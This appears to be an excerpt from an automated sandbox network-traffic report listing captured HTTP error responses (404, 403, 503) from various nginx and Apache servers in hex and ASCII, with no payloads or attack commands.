Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:50 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:50 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4Content-Length: 295Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 74 20 50 48 50 2f 38 2e 32 2e 34 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4 Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.16.1Date: Sun, 14 Apr 2024 02:00:51 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.16.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Sun, 14 Apr 2024 01:53:09 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:00:51 GMTServer: Apache/2.4.58 () OpenSSL/1.0.2k-fips mod_wsgi/4.9.4 Python/3.7Content-Length: 199Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:51 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiDate: Sun, 14 Apr 2024 02:00:51 GMTConnection: closeContent-Length: 326Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: keep-aliveContent-Type: text/htmlDate: Sun, 14 Apr 2024 02:00:51 GMTP3p: CP=" OTI DSP COR IVA OUR IND COM "Server: nginx/1.8.0Set-Cookie: BAIDUID=AADFDF8CFE2064E3EB010A9EC378A07C:FG=1; expires=Mon, 14-Apr-25 02:00:51 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1Tracecode: 00519657322520757770041410Content-Length: 168Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.8.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1566Date: Sun, 14 Apr 2024 02:00:52 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:00:52 GMTServer: ApacheContent-Length: 59Keep-Alive: timeout=3, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Forbidden</h1>You don't have permission on this server.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: keep-aliveContent-Type: text/htmlDate: Sun, 14 Apr 2024 02:00:51 GMTP3p: CP=" OTI DSP COR IVA OUR IND COM "Server: nginx/1.8.0Set-Cookie: BAIDUID=AADFDF8CFE2064E3EB010A9EC378A07C:FG=1; expires=Mon, 14-Apr-25 02:00:51 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1Tracecode: 00519657322520757770041410Content-Length: 168Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.8.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1566Date: Sun, 14 Apr 2024 02:00:52 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: 7ffef92b-acca-ba6-56e3-3d90ab5c288bDate: Sun, 14 Apr 2024 02:00:51 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: closeData Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 37 66 66 65 66 39 32 62 2d 61 63 63 61 2d 62 61 36 2d 35 36 65 33 2d 33 64 39 30 61 62 35 63 32 38 38 62 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">7ffef92b-acca-ba6-56e3-3d90ab5c288b</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.17.4Date: Sun, 14 Apr 2024 02:00:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveData Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 37 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.17.4</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:54 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: 7ffef92b-acca-ba6-56e3-3d90ab5c288bDate: Sun, 14 Apr 2024 02:00:51 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: closeData Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 37 66 66 65 66 39 32 62 2d 61 63 63 61 2d 62 61 36 2d 35 36 65 33 2d 33 64 39 30 61 62 35 63 32 38 38 62 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">7ffef92b-acca-ba6-56e3-3d90ab5c288b</A></ADDRESS></BODY></HTML>
